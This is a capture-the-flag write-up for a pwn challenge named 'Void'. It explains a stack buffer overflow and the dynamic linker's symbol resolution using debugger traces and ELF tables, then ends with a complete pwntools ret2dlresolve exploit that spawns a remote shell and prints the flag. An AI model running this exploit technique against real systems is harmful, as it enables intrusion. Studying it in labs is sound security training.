

Void

1) Checked security

```
(vigneswar@VigneswarPC)-[~/Pwn/Void/challenge]
$ checksec void
[*] '/home/vigneswar/Pwn/Void/challenge/void'
  Arch:             amd64-64-little
  RELRO:             Partial RELRO
  Stack:             No canary found
  NX:                NX enabled
  PIE:               No PIE (0x400000)
  RUNPATH:           b'./glibc/'
```

2) Decompiled code

```
Decompile: main - (void)
1
2 undefined8 main(void)
3
4 {
5     vuln();
6     return 0;
7 }
8
```

```
Decompile: vuln - (void)
1
2 void vuln(void)
3
4 {
5     undefined local_48 [64];
6
7     read(0,local_48,200);
8     return;
9 }
10
```

3) Notes:

- i) There is a straight forward buffer overflow in vuln
- ii) However, there is no way to leak libc address, so we cannot return to libc

4) Resolving Process

1) First we call read

```

→ 0x40113b <vuln+0019>      call 0x401030 <read@plt>
    0x401030 <read@plt+0000>  jmp  QWORD PTR [rip+0x2fe2]      # 0x40
4018 <read@got.plt>
    0x401036 <read@plt+0006>  push  0x0
    0x40103b <read@plt+000b>  jmp   0x401020
    0x401040 <_start+0000>    xor    ebp, ebp
    0x401042 <_start+0002>    mov    r9, rdx
    0x401045 <_start+0005>    pop    rsi

```

2) It jumps to address in GOT (i.e) .plt section by default to populate GOT

```

Entry point: 0x401040
0x0000000000004002a8 - 0x0000000000004002c5 is .interp
0x0000000000004002c8 - 0x0000000000004002ec is .note.gnu.build-id
0x0000000000004002ec - 0x00000000000040030c is .note.ABI-tag
0x000000000000400310 - 0x00000000000040032c is .gnu.hash
0x000000000000400330 - 0x000000000000400390 is .dynsym
0x000000000000400390 - 0x0000000000004003d6 is .dynstr
0x0000000000004003d6 - 0x0000000000004003de is .gnu.version
0x0000000000004003e0 - 0x000000000000400400 is .gnu.version_r
0x000000000000400400 - 0x000000000000400430 is .rela.dyn
0x000000000000400430 - 0x000000000000400448 is .rela.plt
0x000000000000401000 - 0x000000000000401017 is .init
0x000000000000401020 - 0x000000000000401040 is .plt
0x000000000000401040 - 0x0000000000004011c1 is .text
0x0000000000004011c4 - 0x0000000000004011cd is .fini
0x000000000000402000 - 0x000000000000402004 is .rodata
0x000000000000402004 - 0x000000000000402048 is .eh_frame_hdr
0x000000000000402048 - 0x000000000000402168 is .eh_frame
0x000000000000403000 - 0x000000000000403008 is .init_array
0x000000000000403008 - 0x000000000000403010 is .fini_array
0x000000000000403010 - 0x0000000000004031f0 is .dynamic
0x0000000000004031f0 - 0x000000000000403200 is .got
0x000000000000404000 - 0x000000000000404020 is .got.plt
0x000000000000404020 - 0x000000000000404030 is .data
0x000000000000404030 - 0x000000000000404038 is .bss
0x000007f1392c2c238 - 0x000007f1392c2c25c is .note.gnu.build-id in ./gl

```

3) Then it pushes address to be populated and jumps to resolver

```

code:x86:64
0x40101a      add     BYTE PTR [rax], al
0x40101c      add     BYTE PTR [rax], al
0x40101e      add     BYTE PTR [rax], al
→ 0x401020      push    QWORD PTR [rip+0x2fe2]      # 0x40400
8
0x401026      jmp     QWORD PTR [rip+0x2fe4]      # 0x40401
0
0x40102c      nop     DWORD PTR [rax+0x0]
0x401030 <read@plt+0000> jmp     QWORD PTR [rip+0x2fe2]      # 0x40401
8 <read@got.plt>
0x401036 <read@plt+0006> push    0x0
0x40103b <read@plt+000b> jmp     0x401020
threads

```

4) Then it jumps to another sub function

```

code:x86:64
0x7f4f58a1d678      xsavec  [rsp+0x40]
0x7f4f58a1d67d      mov     rsi, QWORD PTR [rbx+0x10]
0x7f4f58a1d681      mov     rdi, QWORD PTR [rbx+0x8]
→ 0x7f4f58a1d685      call    0x7f4f58a16550
↳ 0x7f4f58a16550      push    rbx
0x7f4f58a16551      mov     r10, rdi
0x7f4f58a16554      mov     esi, esi
0x7f4f58a16556      lea     rdx, [rsi+rsi*2]
0x7f4f58a1655a      sub     rsp, 0x10
0x7f4f58a1655e      mov     rax, QWORD PTR [rdi+0x68]
arguments (guessed)
0x7f4f58a16550 (
    $rdi = 0x00007f4f58a33180 → 0x0000000000000000,
    $rsi = 0x0000000000000000,
    $rdx = 0x0000000000000000,
    $rcx = 0x00007f4f589ff718 → 0x00007f4f58a00e20 → 0x0000000000000000,
    $r8 = 0x0000000000000000,
    $r9 = 0x00007f4f58a171b0 → push rbp
)
threads
[#0] Id 1, Name: "void", stopped 0x7f4f58a1d685 in ?? (), reason: SINGLE STEP
trace
[#0] 0x7f4f58a1d685 → call 0x7f4f58a16550
[#1] 0x401140 → vuln()
[#2] 0x401157 → main()
(remote) gef>

```

5) It calls dynamic linker with the arguments

```

code:x86:64
0x7f4f58a16617 0020:00401020(R)
0x7f4f58a16618
0x7f4f58a1661b
→ 0x7f4f58a1661e 0020:00401020
    0x7f4f58a11bc0
    0x7f4f58a11bc2
    0x7f4f58a11bc4
    0x7f4f58a11bc6
    0x7f4f58a11bc9
    0x7f4f58a11bcb

push rdx
add rdi, rax
mov rdx, r11
call 0x7f4f58a11bc0

push r15
push r14
push r13
mov r13, rdx
push r12
mov r12, rdi

arguments (guessed)
0x7f4f58a11bc0 (
    $rdi = 0x000000000000400391 → 0x6c5f5f0064616572 ("read"?),
    $rsi = 0x00007f4f58a33180 → 0x00000000000000000,
    $rdx = 0x00007ffe58f4ebe8 → 0x000000000000400348 → 0x00000001200000001,
    $rcx = 0x00007f4f58a334e8 → 0x00007f4f58a33440 → 0x00007f4f58a055a0 → 0x00
007f4f58a33180 → 0x00000000000000000,
    $r8 = 0x00007f4f58a055f0 → 0x0000000000004003b2 → "GLIBC_2.2.5",
    $r9 = 0x00000000000000001
)

```

More details on the link above

Symbol Table dynsym

_DT_SYMTAB				XREF[2]:	004030b8(*), _elfSectionHeaders::00000150(*)
00400330	00 00 00	Elf64_Sy...			
	00 00 00				
	00 00 00 ...				
00400330	00 00 00 00 00	Elf64_Sym	[0]	XREF[2]:	004030b8(*), _elfSectionHeaders::00000150(*)
	00 00 00 00 00				
	00 00 00 00 00...				
00400330	00 00 00 00	ddw	0h	st_name	XREF[2]: 004030b8(*), _elfSectionHeaders::00000150
00400334	00	db	0h	st_info	
00400335	00	db	0h	st_other	
00400336	00 00	dw	0h	st_shndx	
00400338	00 00 00 00 00	dq	0h	st_value	
	00 00 00				
00400340	00 00 00 00 00	dq	0h	st_size	
	00 00 00				
00400348	01 00 00 00 12	Elf64_Sym	[1]	read	
	00 00 00 00 00				
	00 00 00 00 00...				
00400360	06 00 00 00 12	Elf64_Sym	[2]	__libc_start_main	
	00 00 00 00 00				
	00 00 00 00 00...				
00400378	37 00 00 00 20	Elf64_Sym	[3]	__gmon_start__	
	00 00 00 00 00				
	00 00 00 00 00...				

```

pwndbg> x/12gx 0x400328
0x400328: 0x0000000000000000 0x0000000000000000
0x400338: 0x0000000000000000 0x000000120000000b
0x400348: 0x0000000000000000 0x0000000000000000
0x400358: 0x00000001200000010 0x0000000000000000
0x400368: 0x0000000000000000 0x000000200000002e
0x400378: 0x0000000000000000 0x0000000000000000

```

```

typedef struct {
    Elf64_Word    st_name;    /* Symbol name (string tbl index) */
    unsigned char st_info;    /* Symbol type and binding */
    unsigned char st_other;   /* Symbol visibility */
    Elf64_Section st_shndx;   /* Section index */
    Elf64_Addr    st_value;   /* Symbol value */
    Elf64_Xword   st_size;    /* Symbol size */
} Elf64_Sym;

```

- **st_name:** It acts as a string table index. It will be used to locate the right string in the STRTAB section.
- **st_info:** It contains symbol's type and binding attributes.
- **st_other:** It contains symbol's visibility.
- **st_shndx:** It contains the relevant section header table index.
- **st_value:** It contains the value of the associated symbol.
- **st_size:** It contains the symbol's size. If the symbol has no size or the size is unknown, it contains 0.

DynStr

```

Listing: void
//
// .dynstr
// SHT_STRTAB [0x400390 - 0x4003d5]
// ram: 00400390-ram: 004003d5
//
__DT_STRTAB                                XREF[2]: 004030a8(*),
                                           _elfSectionHeaders::00000190(*)
00400390 00      ??      00h
00400391 72 65 61      utf8    u8"read"
64 00
00400396 5f 5f 6c      utf8    u8"__libc_start_main"
69 62 63
5f 73 74 ...
004003a8 6c 69 62      utf8    u8"libc.so.6"
63 2e 73
6f 2e 36 00
004003b2 47 4c 49      utf8    u8"GLIBC_2.2.5"
42 43 5f
32 2e 32 ...
004003be 2e 2f 67      utf8    u8"./glibc/"
6c 69 62
63 2f 00
004003c7 5f 5f 67      utf8    u8"__gmon_start_"
6d 6f 6e
5f 73 74 ...

```

rela.plt

```

Listing: void
//
// .rela.plt
// SHT_RELA [0x400430 - 0x400447]
// ram: 00400430-ram: 00400447
//
//
// DT_JMPREL
XREF[2]: 00403128(*),
_elfSectionHeaders::00000290(*)
00400430 18 40 40 Elf64_Re...
00 00 00
00 00 07 ...
00400430 18 40 40 00 00 Elf64_Rela [0] XREF[2]: 00403128(*),
00 00 00 07 00 _elfSectionHeaders::00000290(*)
00 00 01 00 00...
00400430 18 40 40 00 00 dq 404018h r_offset location to apply ...XREF[2]: 00403128(*),
00 00 00 _elfSectionHeaders::00000290(*)
00400438 07 00 00 00 01 dq 100000007h r_info the symbol table i...
00 00 00
00400440 00 00 00 00 00 dq 0h r_addend a constant addend ...
00 00 00

```

r_offset - stores address of GOT to store next resolved address

r_info - used to locate corresponding symbol table index

rela.dyn

```

Listing: void
//
// .rela.dyn
// SHT_RELA [0x400400 - 0x40042f]
// ram: 00400400-ram: 0040042f
//
//
// DT_RELA
XREF[2]: 00403138(*),
_elfSectionHeaders::00000250(*)
00400400 f0 31 40 Elf64_Re...
00 00 00
00 00 06 ...
00400400 f0 31 40 00 00 Elf64_Rela [0] XREF[2]: 00403138(*),
00 00 00 06 00 _elfSectionHeaders::00000250(*)
00 00 02 00 00...
00400400 f0 31 40 00 00 dq 4031F0h r_offset location to apply ...XREF[2]: 00403138(*),
00 00 00 _elfSectionHeaders::00000250(*)
00400408 06 00 00 00 02 dq 200000006h r_info the symbol table i...
00 00 00
00400410 00 00 00 00 00 dq 0h r_addend a constant addend ...
00 00 00
00400418 f8 31 40 00 00 Elf64_Rela [1] location to apply ...
00 00 00 06 00
00 00 03 00 00...

```

5) Exploit:

```

#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./void")
context.binary = exe


# io = gdb.debug(exe.path, '')
io = remote('94.237.54.176', 33855)
dlresolve = Ret2dlresolvePayload(exe, b'system', [b'/bin/sh\x00'])
rop_chain = ROP(exe)
rop_chain.raw('A' * 72)
rop_chain.read(0, dlresolve.data_addr)
rop_chain.ret2dlresolve(dlresolve)
payload = rop_chain.chain()

```

```
io.send(payload+b'\x00'*(200-len(payload)))
io.send(dlresolve.payload+b'\x00'*(200-len(dlresolve.payload)))

io.interactive()
```

6) Flag:



```
(vigneswar@VigneswarPC)-[~/Pwn/Void/challenge]
$ python3 solve.py
$ ls
flag.txt
glibc
void
$ cat flag.txt
HTB{pwnt00l5_h0mep4g3_15_u54ful}
```

The image shows a terminal window with a dark background. The prompt is `(vigneswar@VigneswarPC)-[~/Pwn/Void/challenge]`. The user runs `python3 solve.py`, then `ls`, showing files `flag.txt`, `glibc`, and `void`. Finally, they run `cat flag.txt`, which outputs the flag `HTB{pwnt00l5_h0mep4g3_15_u54ful}`. In the background, there is a faint, semi-transparent image of a document titled "5) Exploit:" containing code snippets for a Python exploit script.